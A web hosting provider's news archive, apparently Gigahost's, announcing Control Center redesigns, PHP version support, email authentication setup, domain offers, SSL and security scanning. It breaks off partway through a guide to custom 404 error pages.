Meet the new Gigahost

Twenty years ago, we set out to make great web hosting simple. Today, we are starting over.

This is the beginning of the new Gigahost. The first thing you meet is a Control Center remade from scratch, but one that still keeps the promise that started it all in 2006.

Control Center 2.0

We rebuilt Control Center from the ground up, but were careful all the while not to move what you already know. What we did instead was hold every page up against a single question: What did you come here to do?

You feel the answer the moment you sign in. Instead of a wall of menus, there is a calm overview: how many domains you are running, how much disk space is left, when the account renews, and how many mailboxes are live.

We started over on the way it looks, too. The new Control Center is drawn in a design language of our own. We call it Evident, after a very Danish idea: a well-made object should explain itself just by being looked at.

The ground rule is a refusal to fake anything. If something looks like you can press it, it is because you can. A color means only one thing, and it means it everywhere. Less to memorize, less to learn.

Press Ctrl+K anywhere and a command palette opens. Type the first few letters of wherever you are going, and you are there.

When a site is misbehaving, the new Troubleshooter checks the whole chain in one click — domain, DNS, web server, certificate — and tells you in plain words where the trouble actually is.

Those two are the ones we are proudest of, and the ones we think you will keep coming back to. Beyond them lies a great deal more: a new file manager, a proper dark mode, and hundreds of small touches. Next week we will take you around it properly and show you the whole thing, room by room. But you do not have to wait for the tour — everything is already open.

Open Control Center and see it for yourself, or read more about what it can do.

Twenty years, made new

Gigahost has hosted Danish websites since 2006. Two decades of uptime, of answered tickets, of businesses and ideas finding a home online. We are proud of every year of it.

But anniversaries should look forward, not just back.

Gigahost has not looked this different since the last design change in 2016. But this time, we are not stopping at the surface.

Welcome to the new Gigahost. Twenty years young.

Open Control Center

Make your emails more trustworthy with DKIM

DKIM (DomainKeys Identified Mail) adds a digital signature to every email you send so inbox providers can confirm it really came from your domain – and hasn't been altered in transit. That extra layer of trust keeps your messages out of spam folders.

Automatic Authentication

Gigahost automatically configures SPF, DKIM and DMARC and signs every outgoing email for you. No extra setup is required; your messages are authenticated from day one.

How to Verify or Activate in Control Center

  1. Log in to the Gigahost Control Center and select your domain.

  2. Click DNS in the top navigation.

  3. Under TXT records you'll see a DKIM entry beginning with v=DKIM1;….

    • If it's there, DKIM is active and signing your mail.

    • If it's missing, scroll to DNS Templates and add the “Gigahost DKIM protection” configuration.


Quick Tip

You can also check that the Gigahost SPF protection template is applied — but only enable if no other providers send mail for that domain.

Now in Ukrainian: Welcome to Gigahost!

Today marks a poignant moment in history, the two-year anniversary of the Russian invasion of Ukraine. In these times of reflection, Gigahost is taking a step forward in solidarity and support for the Ukrainian community by introducing Ukrainian language support on our platform.

We understand the importance of this day and want to honor it by making our digital space more welcoming and accessible to Ukrainian speakers. Now, you can navigate Gigahost in Ukrainian by selecting “УКРАЇНСЬКА” at the bottom of our site, or by clicking here. It's a small gesture, but one that we hope brings a sense of belonging and support.

This initiative is more than just adding another language option—it's about acknowledging the resilience and courage of the Ukrainian people. It's about making sure that, even in the digital realm, we're doing our part to support inclusivity and understanding.

We stand with Ukraine today and every day, and we welcome all Ukrainian speakers to their new digital home at Gigahost. Let's continue to build and grow together, in solidarity and hope.

Is Gmail rejecting your emails?

If you've recently started to receive error messages when sending emails to Gmail addresses, it may be due to a lack of SPF or DKIM authentication for your sender's domain.

SPF (Sender Policy Framework) and DKIM (DomainKeys Identified Mail) are methods used to authenticate your emails, ensuring they're not flagged as spam or rejected by the receiving server.

The error messages you might encounter look like the following:

<example@gmail.com>: host gmail-smtp-in.l.google.com[142.251.9.26] said:
    550-5.7.26 This mail is unauthenticated, which poses a security risk to the
    550-5.7.26 sender and Gmail users, and has been blocked. The sender must
    550-5.7.26 authenticate with at least one of SPF or DKIM. For this message,
    550-5.7.26 DKIM checks did not pass and SPF check for [example.com] did
    not 550-5.7.26 pass with ip: [46.183.139.199]. The sender should visit
    550-5.7.26  https://support.google.com/mail/answer/81126#authentication for
    550 5.7.26 instructions on setting up authentication.

For domains managed at Gigahost, enabling SPF is a straightforward process:

  1. Log into the Gigahost Control Center.
  2. Click on the “Domains” section.
  3. Select the domain which you're having trouble with.
  4. Click on the “DNS” tab.
  5. Scroll down and select “Gigahost SPF protection” from the dropdown menu.
  6. Save the changes to update your DNS settings.

Note that it may take some time for the changes to take effect everywhere, but after a few hours you should be able to deliver emails to Gmail addresses.

If you encounter any difficulties during this process, please don't hesitate to contact our support team.

New and updated Support Pages available

We are so happy to announce that we have launched a new and modern support page, where we will publish new and updated guides, useful information and good tips and tricks over the coming months.

You will, among other things, find help for:

  • How to log on to FTP via FileZilla?
  • How to install WordPress on your domain?
  • How to move your website to Gigahost?
  • How to see statistics for your website?
  • How do you take a manual backup of your website?
  • How to order a new domain in the control center?
  • How to set up a free SSL certificate on your domain?
  • How to change which PHP version the individual domain uses?
  • How do you set up an SPF record for your domain?

You will find the new support page in the same place as the old one – namely at support.gigahost.dk

If you have suggestions for guides, you are very welcome to send them to support@gigahost.dk

Note that right now the new support page is unfortunately only available in Danish.

PHP 8.1 and 8.2 are here!

PHP 8.1 and 8.2 are here!

We are happy to announce that both PHP 8.1 and 8.2 are now available at Gigahost!

PHP 8.1 is a major update of the PHP language and contains many new features, including enums, readonly properties, first-class callable syntax, fibers, intersection types, performance improvements and more.

PHP 8.2 is another major update and includes features such as readonly classes, null, false, and true as stand-alone types, deprecated dynamic properties, performance improvements and more.

Since PHP 8.1 and 8.2 are major releases, upgrading may break some web sites. So make sure to test your site when changing to one of the new versions. On Gigahost, you can change the version for each domain name, and always revert to the earlier version in case something doesn't work out.

The PHP version can be changed in the Gigahost Control Center by selecting the domain name and then “PHP version”.

PHP 8 is here!

PHP 8 is here!

PHP 8.0 has just been released today. The new version brings a slew of great new features, such as:

  1. Just-in-time compiler that speeds up code execution
  2. Union types that allow you to define a type as a combination of other types, for instance a function that accepts int or float
  3. The match expression, enabling a shorter way of writing switch-like statements
  4. The nullsafe operator, enabling null coalescing on methods
  5. Named arguments, so you do not need to remember the order of arguments in a function call
  6. Attributes, adding metadata to classes
  7. Three new string comparison functions (str_contains(), str_starts_with(), and str_ends_with())

and many more things.

PHP 8.0 is available on your Gigahost account as of today.

Since PHP 8.0 is a major release, it may break some websites. Make sure to test your site when changing to the new version. On Gigahost, you can change the version for each domain name and always revert to the earlier version in case something does not work out.

The PHP version can be changed in the Gigahost Control Center by selecting the domain name and then “PHP version”.

PHP 7.4 has now been released

PHP 7.4 has now been released

The PHP team released PHP 7.4 today, bringing a few bigger new features and many small refinements.

PHP preloading can yield a significant performance boost, especially for large frameworks using a lot of libraries.

PHP extensions can be loaded directly from userland, meaning this can be done without configuration on the server.

Arrow functions, like in JavaScript, allow for shorter syntax when you define closure functions. Class properties can be type hinted. You can use the spread operator (...) in arrays.

Check this blog article at stitcher.io for a full list of changes in PHP 7.4.

From today, all Gigahost accounts can use PHP 7.4.

HTTP/2 supported on all accounts

As a result of having upgraded our infrastructure, we are happy to report that HTTP/2 connections are now supported on all hosting accounts.

This is a major revision of the HTTP protocol used on the internet, which brings an increase in speed. It is supported by all major web browsers.

You do not have to change anything to make use of HTTP/2, as all accounts are being switched over automatically.

The infrastructure upgrade also brings better and faster HTTPS, with support for TLS 1.3.

PHP 7.3 now available!

PHP 7.3 now available!

The PHP team has released PHP 7.3, and Gigahost is happy to announce immediate support for the new PHP version.

PHP 7.3 introduces flexible support for the Heredoc and Nowdoc syntax, new Multibyte String features, trailing commas in function calls, and a lot of other smaller changes.

The new version also deprecates a number of old features, such as case-insensitive constants and passing ASCII codepoints to string-searching functions.

You can select the new PHP version for each of your sites from inside the Gigahost Control Center.

PHP 7.2 released

PHP 7.2 released

Today, PHP 7.2 was released by the PHP team. It is immediately available for customers on Gigahost.

PHP 7.2 introduces a few new features such as the object data type for type hints in parameters and return types, a new hashing algorithm, and the powerful Sodium library for encryption and hashing. This makes PHP the first language to add modern encryption to its standard library.

To try out PHP 7.2, select any of your domains in the Gigahost Control Center and switch the PHP version.

New design

New design

We are very excited to not only announce, but also show off the new look of our main front page. The new design brings lots of improvements and not only eye-candy.

Gigahost is turning 10 years of age, and in those ten years a lot of different usability ideas have changed the internet. Some technological, and others visual. Some came to stay, while some never took off. During this time, Gigahost has had five major design overhauls and each one came about to satisfy not only tired eyes, but also new requirements. Among a lot of improvements, there are two primary goals of the new design.

Better usability

One of our core goals has always been to offer great usability, and a part of that also means that the quest for improvement is never ending. A cleaner look makes it quicker and easier to find what you are looking for. We have listened to our customers and highlighted important and often used features. We have cleaned up our feature descriptions to hopefully help visitors find what they are looking for.

Full smartphone and tablet support

The rapid development and changes regarding mobile devices such as smartphones and tablets have meant that there were things to be missed when using our site from such devices. The new update brings full support for these devices and is optimized to work effortlessly with both iOS and Android.

On top of this, the new site also brings improved visual identity, typographic streamlining, speed increases, privacy and security audits, and many more things.

We strongly hope that you like our new design as we do. If not, or if you have any suggestions on how to get even better, never hesitate to contact us!

Happy 25th, World Wide Web!

Happy 25th, World Wide Web!

Today, the World Wide Web turns 25 years of age. We celebrate this — as we did 10 years ago — by congratulating Tim Berners-Lee on changing the world.

We are very proud to continue to be a part of the revolution started by Berners-Lee, but we think it is important to remember to thank the people that really made the Internet what it is today: You!

PHP 7 is here!

PHP 7 is here!

For several months we have been offering the pre-release versions of PHP to all our customers, and today we are excited to see that the final PHP 7.0.0 has been released! So, what's new:

Up to 2X faster!

PHP 7 is based on the PHPNG (Next-Gen) project and will make your web sites run much faster. People are reporting speed gains from 25% to 70% in real-world situations.

More function argument type hints

When defining a function, you can now declare which parameter types the function will accept. Previously, you could declare certain class names or the special array keyword, but now you can also use bool, float, int, and string. About time! Furthermore, it is now possible to declare what the function will return. You can use the same types as when declaring the parameters. So this function will automatically return a float when invoked from other parts of the application:

<?php
function sum($a, $b): float {
    return $a + $b;
}
?>

The spaceship operator

A handy operator that Perl users may be familiar with can now be used in PHP: <=>. It looks a bit like a spaceship and is used to compare values, like the strcmp() function does.

The null coalesce operator

This shorthand operator, ??, is a short way of checking whether a value is set, or defaulting to another value. In the following example, $username will be set to $_GET['username'] if that variable is set, or nobody otherwise.

<?php
$username = $_GET['username'] ?? 'nobody';
?>

It is shorter than using isset().

There are several other new features in PHP 7, as well as a lot of clean-up of inconsistencies. Check the complete list of new features on php.net.

PHP 7.0.0 is available today for all Gigahost users. Log on to the Control Center to enable it; you can do it on a per-domain basis!

PHP 5.6 is now available!

PHP 5.6 is now available!

The PHP team released PHP 5.6 yesterday, and we have made a tradition of supporting new PHP versions right as they come out.

Starting today, you can select PHP 5.6 for each of your web sites in the Gigahost Control Center!

While most readily available CMS and other scripts do not yet require PHP 5.6, you may find it useful to switch already if you plan on using any of the new features in PHP 5.6:

Simple expressions supported in constants

Constants are no longer restricted to being a static value. Their values may now include simple calculations that depend on other constants, like so:

const ONE = 1;
const TWO = ONE * 2;

A new operator for calculating exponentials, **

Curiously, PHP did not have an operator for exponentiation until now. You had to use the pow() function. Now, to calculate 24, you just do 2 ** 4, which gives you 16.

Argument unpacking

If you have an array containing some items, you can use the array as the arguments for a function using the ... operator.

$arguments = [1, 2, 3];
my_function(...$arguments);

This would call my_function(1, 2, 3).

Variadic functions

Similarly, a function can receive its parameters as an array using the ... operator.

function my_function(...$arguments) {
  print_r($arguments);
}

In the above example, calling my_function(1, 2, 3) would print an array containing the three integers.

And more

There are a lot of minor tweaks and improvements in PHP 5.6, such as a new way to set the default character set, operator overloading in GMP, constant-time hash comparisons, a GOST hashing algorithm, improved SSL security, and a magic __debugInfo() method to add to what var_dump will tell about an object. For a complete overview, see PHP's New features page.

Try out the new PHP version by selecting one of your domain names in the Control Center, and then choose “PHP version”. You can always revert to any of the other supported versions: PHP 5.5, 5.4, 5.3, and 5.2.

Even more new domain types available!

We are now adding 48 new domain types that you can register, renew, and transfer to Gigahost!

The new domain names can be registered through the Gigahost Control Center.

Automated security scans to improve your web site security

Automated security scans to improve your web site security

Today we have some exciting news that helps protect websites from hackers. We are introducing a new add-on service that performs security scans of your web sites.

Deep scanning of your files

Detecting malware on a website can be tricky. Most site scanners only check websites as they are seen publicly, meaning some vulnerabilities can potentially be overlooked. At Gigahost we have developed a system that scans all your files. Even when infected files are obfuscated or hidden, our software can decipher them intelligently.

This approach makes the scan very thorough, and reduces the risk of missing any malware.

Built from real threat data

We use a huge database of known malware files, including the ones we have acquired from many years of experience. We constantly monitor activity, fend off attackers, and adjust our protection to match current threats.

In addition to performing security scans, we go through public lists of recently hacked sites to check whether any of your websites have been included there.

Enable weekly scans

Security scanning can be enabled in the new “Services” section of the Control Center. Once enabled, scans will be performed weekly for all of your websites. If we discover any malware, you will immediately receive an email with the list of malicious files, as well as some guidelines on how to fix the problem. Find out more about security scanning of your websites.

New domain types available!

New top-level domain names are being introduced these days, and we are happy to announce you can register them with Gigahost!

The following domain types can now be purchased from your Gigahost account:

  • .berlin

  • .bike

  • .coffee

  • .email

  • .florist

  • .guru

  • .house

  • .international

  • .ruhr

  • .solar

  • .tips

We also added the older .pw and .co domain types to the mix, meaning you can now register a total of 40 different domain types through Gigahost — and even more will be available in just a couple of weeks!

Check the full price list for details, and register the domain names via the Control Center today!

How to access your log files in the Control Center

How to access your log files in the Control Center

While it has been possible to view the error logs of your website from within the Control Center for a while, we have recently introduced a new feature: downloading the full access logs for your websites.

Error logs

The time when you had to send a request to our support team to diagnose problems on your websites is a thing of the past. Now all error logs are accessible on each account from within the Control Center. Many website errors are shown in the error logs, which include information on the date, error type, IP address, and a description of the error.

Access logs

The full access logs record all requests made to a website and include information on IP addresses, date and time, requested page, and other details. Access logs allow you to analyze all traffic on your site. They can also be very useful for identifying sources of load and preventing attacks on your websites.

Download logs in the Control Center

To download the access and error logs, log into your hosting account in the Control Center, choose a website, and then click “View Access Logs” or “View Error Logs”.

PHP 5.5 available on Gigahost

PHP 5.5 available on Gigahost

As the first shared-hosting provider in Europe to do so, we are happy to announce our immediate support of PHP 5.5.0.

PHP 5.5 was released by the PHP development team earlier today and is now available on every Gigahost account. The new version of PHP brings a number of nice features, such as:

Generators

Write small functions that retain their local state, even between runs. Use the new yield keyword to “return” the next value that the function generates. It makes a lot of code more compact and neat.

New API for password hashing and salting

In order to store passwords securely, they need not only be one-way encrypted (hashed), but also use a strong salt, so that the hashed version of the password cannot be looked up in big databases (rainbow tables). Some hashing functions are also slow on purpose, to limit the number of attempts a computer can make to look up passwords. However, hashing algorithms sometimes change and become more advanced as computing power increases.

In PHP 5.5, you get a new set of functions that simplifies this process and allows you to easily change the hashing algorithm used in your application.

Send emails with cURL

cURL is now able to send emails directly through an SMTP server. This is useful if you need to send email through an external mail server, such as your corporate server or Gmail.

And yes, cURL is built into the PHP versions we run on Gigahost.

Finally, finally

A language construct that many other object-oriented languages have had for a while is finally, allowing you to run clean-up procedures that always trigger, no matter whether an exception was caught or not. finally has now made its way to PHP as well, so go ahead and use it.

Should I upgrade?

At the moment, developers of various systems are still tweaking their program code to make sure it works with PHP 5.5. If you have no issues running PHP 5.3 or 5.4, it does not hurt to keep using those versions. If you are developing your own systems, you may want to choose PHP 5.5 so you are sure your sites work with the newest PHP version. However, if you are still running PHP 5.2, we do recommend upgrading to any newer version, since 5.2 is outdated and no longer kept up to date with security updates.

You can choose PHP 5.2, 5.3, 5.4, and PHP 5.5 in the Control Center for each website you have. This way, you can keep one site running an old and well-proven version while you develop or test on, for example, a subdomain running PHP 5.5.

P.S. Some of you may already have seen PHP 5.5 in the Control Center for several months. That is because we offered the previous beta versions and release candidates as soon as they came out.

Zend Guard and IonCube support

The PHP extensions IonCube and Zend Guard Loader are now supported at Gigahost.

Per-site PHP extensions

Some PHP systems require either IonCube or Zend Guard Loader to work because they are protected by a certain kind of Digital Rights Management (DRM). Until now, we have not been able to offer support for these extensions because we did not wish to run proprietary software on customer websites. Now we have developed a way to enable PHP extensions for each website, making it possible for each customer to make the choice.

IonCube and Zend Guard Loader can be enabled for each website individually using the Control Center.

PHP 5.5 beta

In other PHP-related news, we are now offering PHP 5.5 beta 3. Since PHP 5.5 itself is not finished, we recommend using it only for testing and development for the new PHP version. A final release of PHP 5.5 is expected later in the summer.

New payment option: WebMoney

New payment option: WebMoney

Many of our users and potential users have requested the option to pay using WebMoney. Millions of people prefer this payment method on the internet because of its versatility and reliability. We are pleased to announce that, from now on, you can pay for Gigahost services using WebMoney.

How to pay with WebMoney

To pay using this method, select “Other payment methods” and then “Payment WebMoney” during payment. Then just follow the instructions in the system. It is that simple.

2022 update

WebMoney is no longer supported on Gigahost.

New feature in the Control Center: separate FTP accounts

New feature in the Control Center: separate FTP accounts

Following numerous requests from our customers, we have now made it possible to create separate FTP accounts for each domain and subdomain on your hosting account. With this feature, you can easily decide who will access your domains — and to what extent.

Create an FTP account

To create a new FTP account, choose the domain you need to create an account for in the Control Center, and click “Add FTP Account”.

Included in the base fee

As always, the feature is included in the base fee, which means you do not have to pay any additional fees to create more FTP accounts.

New Joomla Vulnerability

During the last couple of weeks, we have noticed an increase in the number of attacks against websites using the Joomla CMS. These seem to be part of a cyber attack primarily targeting the USA. The attack, dubbed “Operation Ababil”, is organized by Iranian hackers, but carried out by sympathizers around the world.

The JCE vulnerability

The attack focuses on a vulnerability in Joomla’s Content Editor (JCE), and gives attackers the ability to upload any file they like to the website. Most often these are backdoors, which can later be used to carry out cyber attacks, send spam, post phishing pages, and much more.

Protection at Gigahost

It is hard to protect against this attack using firewalls or packet-inspection equipment, because it can be made to look like legitimate traffic. However, we are happy to announce that we have found a way to stop the attacks on thousands of Joomla sites hosted at Gigahost.

We have also notified all customers who were found to be using a vulnerable JCE component.

Keep Joomla updated

As always, the best way to avoid attacks is to keep Joomla updated, along with any components, themes, and other add-ons.

A disk space double-up… again!

A disk space double-up… again!

Last year, we doubled the disk space available from approximately 7 GB to 15 GB, and now we are doing the exact same thing again. From today, every customer has more than 32 GB of space available on their hosting accounts.

The disk space is still increasing all the time, so you will always get more space as time passes.

32 GB ought to be enough for anybody. If it is not, send us an email to purchase additional disk space.

Boost your Website with Varnish

Boost your Website with Varnish

You can now boost your website, whether you developed it yourself or use a CMS such as WordPress, Joomla, or Drupal, with our Varnish accelerator-cache, which is incredibly easy to use. This will drastically increase the speed at which your pages are shown, provided the pages are cached.

DNS setup

If your domain points to Gigahost’s name servers, we control DNS for the domain. Simply log in to the Control Center and choose the domain you wish to use Varnish with. Then choose the “DNS” tab, and under “DNS Templates” at the bottom of the page, choose “Varnish Proxy Server” and press “Add Template”. If you are in doubt about whether you use our name servers, ask our Technical Support.

As a rule of thumb, allow the name servers about an hour before Varnish really begins working on the domain.

2024 update

Varnish is no longer offered with Gigahost, and has been replaced by infrastructure that is generally even faster.

Improved and Fast Performance!

Improved and Fast Performance!

Yeee-haaa! Gigahost now offers even better and faster performance than before. We have just updated most of our hardware to stable and super-fast servers. That means all our web servers are now much more efficient than before, without you having to pay extra.

If you use a CMS such as WordPress, Joomla, or Drupal, you will experience that your pages are now even faster for your visitors and much easier for you to develop and work with.

Intel Xeon E3

The improvement is due to our transition to Intel’s 32 nm chip technology, which is good for both speed and power consumption.

The very small transistors in Intel’s Xeon E3 processors are manufactured lithographically by using extremely short-wavelength ultraviolet light. The lithographic process uses light to draw patterns in a material through a mask with very fine details. This pattern then forms the foundation for a chemical conversion, typically by means of etching, into a functional structure of metals and semiconductors that makes up the transistors in processors.

The finest patterns one can draw are determined partly by the wavelength of the light, much like the finest cut you can make in a cake is determined by the edge of the knife. For visible light this ranges between 380 and 740 nanometres, but for extremely short-wavelength ultraviolet light it goes all the way down to under 20 nanometres.

Intel has recently launched a chip series based on the same technology with lithographic details of about 22 nanometres, opening the way for a new family of processors. In the picture, you see a scanning electron microscope (SEM) image of a small section of uncovered N- and P-type metal-oxide-semiconductor (NMOS-/PMOS-) structures on the surface of one of these new processors.

Both the gate and the fins are visible, and the holes the arrow points at, which become sources and drains in the assembled chip, are filled with an alloy of silicon and germanium (SiGe). This material is widely used because it can support ultra-high frequencies, over 100GHz, and is also compatible with complementary metal-oxide-semiconductor (CMOS) technologies for building integrated circuits. We are watching them closely, but for now we are only using the well-tested 32 nm technology. If you have questions about lithographic processes, you are always welcome to write to us at support@gigahost.uk.

PHP 5.4

PHP 5.4

We can now offer PHP 5.4. That means you can use PHP 5.2, 5.3, and 5.4. You can choose different PHP versions for each domain. To switch to PHP 5.4, choose it in the Control Center under Domains > More Settings.

This is already available for new accounts. We will continue rolling it out so every user will be able to choose PHP 5.4.

PHP 5.4 offers some new functions and, at the same time, removes some old ones. As this can affect your scripts, we recommend that you read PHP’s changelog.

Free Gigahost stickers!

Free Gigahost stickers!

Finally, we have gotten what so many have asked for: Gigahost merchandise!

You can get five stickers (4x32 cm) at absolutely no charge if you send your username and the address where you would like them sent to support@gigahost.co.uk.

New! Protect your Websites with HTTPS

New! Protect your Websites with HTTPS

We have just made it possible to use secure HTTPS connections for domains hosted at Gigahost, and it is very easy to get started.

Why use HTTPS and SSL?

Whenever you visit a page with HTTPS, the entire connection is encrypted with a protocol called SSL. All traffic sent from the server to the visitor is encrypted, which is especially useful when you are on a public wifi network and do not trust every router and network on the way to the server.

To use HTTPS properly, a certificate must be issued for every domain you want to protect.

Easy and affordable

For just 69 DKK per month, including VAT, you can protect a domain with HTTPS. The price includes the SSL certificate, a private dedicated IP address, and our setup of the domain for SSL. The content from the domain folder will automatically be shown over the secure connection when the website is visited over HTTPS.

Works with all popular browsers

We only use certificates from approved certificate authorities, which work in all popular browsers, including browsers on mobile phones and other mobile devices.

Private IP address

Due to the way SSL works, each domain name needs its own dedicated IP address. This is included in the price, and we automatically set up the IP address for use with the domain name. Both regular HTTP and secure HTTPS will respond on the IP address.

How to get started

We take care of the whole process with our new One-Click SSL system. This means you do not have to handle certificate requests and issues, keys, IP addresses, or anything else. Everything is set up for you automatically.

To enable HTTPS for a domain, log in to the Control Center and choose the domain. Go to the tab called “Security” and click “Set up SSL” to get started.

Disk Space Double-Up

Disk Space Double-Up

One of the unique features on Gigahost is that the available disk space keeps increasing. Like Gmail, the capacity grows continuously to allow room for more files, databases, and e-mails. You can always follow the currently available space on the counter on our front page. Now we have decided to help the counter along by doubling the disk space available for each user.

More space for every account

Each user now has more than 15000 megabytes of space, for databases, email, and website files. And as always, you can have as many domain names as you like on the same account, each with its own content.

As before, it is possible to purchase more disk space at the price of 3 DKK/GB per month.

.info domain names at £ 1

.info domain names at £ 1

Until February 28 you can purchase .info domain names at just DKK 10 (£1) a piece, including VAT and all fees.

Order your domain name in the Control Center or using our new domain search.

Update: The offer is now finished, however we hope to return with new domain offers soon.

Set up automated replies in the Control Center

Set up automated replies in the Control Center

One much-requested feature has been the ability to send automated replies to emails, in case you are on holidays or are for some other reason unable to respond to emails. This is now possible to set up in the Control Center.

This feature has been some time underway, because we wanted to do it right. In the future it will furthermore be possible to set up auto-replies in webmail, without having to log on the Control Center.

New price: £3/month

Since we launched Gigahost in 2005, we've kept the same monthly price. For just one amount, it's been possible to collect web pages, domains, and email addresses on one account, as well as to use statistics, unlimited databases, advanced PHP with adjustable settings, cron jobs, and much more. And it will stay that way.

We're very happy about our concept, and wish to keep things as simple as possible. In order to be able to continue the development and improvement of our product, and to deliver the same high level of service, we now increase the monthly price to £3 per month. You still get the same Gigahost account you've always known, for less than 10 pence a day.

If you are already a customer, you will not be affected by the increase before your current term ends. Thus, you won't be billed extra for your remaining time on your account.

Diners Club payment option now available

Diners Club payment option now available

Diners Club is accepted by 7 million people all over the world. Should you be one of those, you can now use your card to pay for services at Gigahost. Whenever you perform a payment, you can enter your Diners Club number as well as any of the other possible credit card methods.

We hope that patrons of the Diners Club will be delighted with the news.

Get your .com, .net, .info, .me, or .mobi domains at very low prices!

We are introducing a special pricing on some domain name types.

This time we are offering a discount on registration of .com, .net, .info, .me, and .mobi domain names. The prices for the first year are as follows:

.comDKK 49Valid throughout January
.netDKK 49Valid throughout January
.infoDKK 29Valid throughout January
.meDKK 69Valid until March 31
.mobiDKK 69Valid until June 30

The prices are valid for domain name registration and 1 year use, and include VAT and any applicable ICANN fees or other fees.

Great .me and .at domain name deals!

Great .me and .at domain name deals!

For the remainder of this year, we are selling .me and .at domains at an extremely low price. Only £1.5 for a .at domain name, and just £5 for a .me domain name. This includes VAT and all other fees.

Snatch your favorite domain name in the Control Center by choosing “Domains” and then “Order domain”. The offer is valid until (and including) December 31th, 2010.

New features in the Control Center and the webmail

During the last couple of weeks, we’ve made a few improvements to the Control Center and the new webmail.

Automatic Payment of account renewal

It is now possible to enter a credit card number in the Control Center, which will be used to automatically renew the hosting account when it is about to expire. 60 days before expiry we will try charging for the next period. This is a good way to make sure not to forget renewing the account, and not to risk the account being deactivated due to lack of payment.

The feature can be found in the Control Center by selecting “Payment” and then “Auto-Payments”. We are not storing your credit card number, though! It will be sent directly to our payment provider, which will store it in a safe PCI-certified environment.

New welcome page in the Control Center

When you log on the Control Center you will now be welcomed by a new page, which in a clearer way will show a list of your top domains, along with shortcuts to easily register and transfer domains. This makes it even easier to get started right after creating a Gigahost account. Furthermore, our systems will now try to look for available domain names that it thinks may be interesting for you.

Change the password for email accounts directly from the webmail

It is now possible to change the password for an email account, without having access to the associated Gigahost account. This is useful if you have a number of email addresses on an account, but do not wish each email user to have access to the Control Center.

This feature can be found in our new webmail by choosing “Settings” and then clicking the “Password” tab.

A message from Gigahost Public Service :)

Sometimes, we will send important messages to our customers, such as if a hosting account or domain is about to expire, or in case of other important circumstances regarding the account. And if it should happen that you lose the password for the Gigahost account, the contact information is the only means for us to verify your identity and provide access to the account again. Therefore, it is very important to maintain the contact information and ensure it is correct.

Specifically, we sometimes note that an old or invalid email address is registered for the account. This can result in the account being deactivated, because our reminder emails do not come through. So please check that the contact info in the Control Center is entered correctly:

  1. Log on to the Control Center
  2. Select “Settings” and then “Contact Information”
  3. Verify that email, snailmail address, and phone numbers are correctly entered.

If you forget the password for a Gigahost account, and if we are not able to contact you on the addresses given in the Control Center, you will lose access to the account altogether, including the private data located on it. This is because we (naturally) will not give out such information to anyone but the person who owns the account.

So, again, please take a moment to make sure all your information is up-to-date :)

New: Send text messages from your web site!

New: Send text messages from your web site!

For a while, a "Text Messaging" button has been sitting around in the Control Center, but we think it's about time to officially launch our new SMS Text Messaging product and outline its features.

People have often suggested that it would be nice to quickly and easily send SMS messages from the Control Center and from your own web sites. Our new SMS function makes both possible.

How our SMS stands out

There are already quite a lot of such services around, but ours stands out in the following areas:

  • Easy and quick
    If you have a Gigahost account, you're already ready to message! You have access to the function right from the Control Center.
  • No recurring fees
    Some services charge a monthly amount for access to the messaging gateway. This is free at Gigahost, as long as you have a hosting account with us. (Later it will be possible to get access even without a hosting account.)
  • Send from your own number
    You can add your own numbers and use them as sender numbers whenever you send a message. If you get a reply, it will arrive on your phone.
  • History and detailed delivery reports
    See the messages you've sent earlier, and whether they were actually delivered to the phone (and at what time).
  • Modern RESTful API
    It's easy to integrate our SMS system with your own services by using our API. We've made a sample implementation in PHP, which you are free to use.
  • Robust sending with high availability
    By using several servers physically located in different places around the world, we ensure a stable service with high uptime.
  • Quick and easy pre-payments
    Charge SMS messages to your account from the Control Center and get started instantly. No bills, payment fees, or the like.
  • Good international support
    Send messages with Russian, Chinese, Korean, or Japanese characters with no problems, to destinations all over the world.

Tell us what you'd like next

Since this is a new product, we just followed our instincts. But we really like suggestions! We've already planned features such as an address book, scheduled messages, and improvements to the API. Please leave a comment here, or email us, if you have any great ideas!

P.S. We've given you 10 messages to play around with (if you have an account at Gigahost, that is).

Warning! Don’t trust letters from “Domain Registry of America”

Warning! Don’t trust letters from “Domain Registry of America”

Many owners of .com, .net, or .org domains receive letters from an organisation calling themselves “Domain Registry of America” or “Domain Renewal Group”. This company earns its money by finding out when certain domain names will expire, and then sending off a bill for the renewal of the domain. If you pay the bill, the domain will be transferred to their service, and once that happens, the domain will have to be renewed through their service in the future, at a considerably higher price.

Widely reported warnings

Searching for “Domain Registry of America” on Google will yield almost only warnings about this company — even from agencies such as the Federal Trade Commission.

Our recommendation

We simply recommend that people tear up and bin letters from Domain Registry of America whenever one is received. When your domains are due to be renewed, you will automatically receive an email from Gigahost. It is not necessary to pay others for .com/.net/.org domains.

In doubt about a letter?

If you are in doubt about the validity of a letter you received, you are welcome to forward it to our customer support and ask if we know anything about it.

Security tip: Change your database password

Security tip: Change your database password

Sometimes a hacker gains control of a hosting account by reading the database password — often after exploiting a weakness in a script on a customer's site. With that password, they usually get full access to the account.

Use a separate database password

You can make this much harder by choosing a separate password for the database server. We see many hackers give up when they hit that barrier.

To help, we've made it easier to change your database server password — and we always recommend using a separate one for your databases.

PHP 5.3 now available in the Control Center!

Around a month ago, version 5.3 of the popular scripting language PHP was released, and it is now available in the Control Center.

What's new in PHP 5.3

PHP 5.3 adds support for new features such as namespaces, closures, a native MySQL driver, and many others. Read more here.

Opt in per domain

PHP 5.3 is not enabled by default, because many web applications need to be modified or updated first. For example, warnings may arise about features that have been deprecated — functions that are being phased out and probably will not work in PHP 6.0. You can choose PHP 5.2 or PHP 5.3 for each domain individually, though new domains still default to PHP 5.2. This makes it easy to test whether a site works with PHP 5.3, with the option to quickly switch back to PHP 5.2 if any problems arise.

Create your own custom “404” error page

Create your own custom “404” error page

It will sometimes happen that a visitor reaches a page that doesn't exist, has been moved somewhere else, or simply mistypes the address. Rather than showing the default error message (“error 404”), you can easily create your own 404 error page.

Step 1: Make a “.htaccess” file

If your site does not already use a .htaccess file, you can easily create one. Open a text editor such as Notepad, and insert the following line:

ErrorDocument 404 /404.html

Save the file with the name “.htaccess” (note the leading period). If a visitor then tries to reach a page that does not exist, 404.html will be shown instead. You can also use a PHP file, and you can call it whatever you prefer (for example, “error.html” rather than “404.html”). If your operating system will not let you name a file “.htaccess”, you can call it something else and rename it after you have transferred it to the server.

You can also create your own pages for other errors, such as 403 (Forbidden), 500 (Internal Server Error), and so on. It would look like this:

ErrorDocument 403 /403.html
ErrorDocument 500 /500.html

Step 2: Make a file for the error message

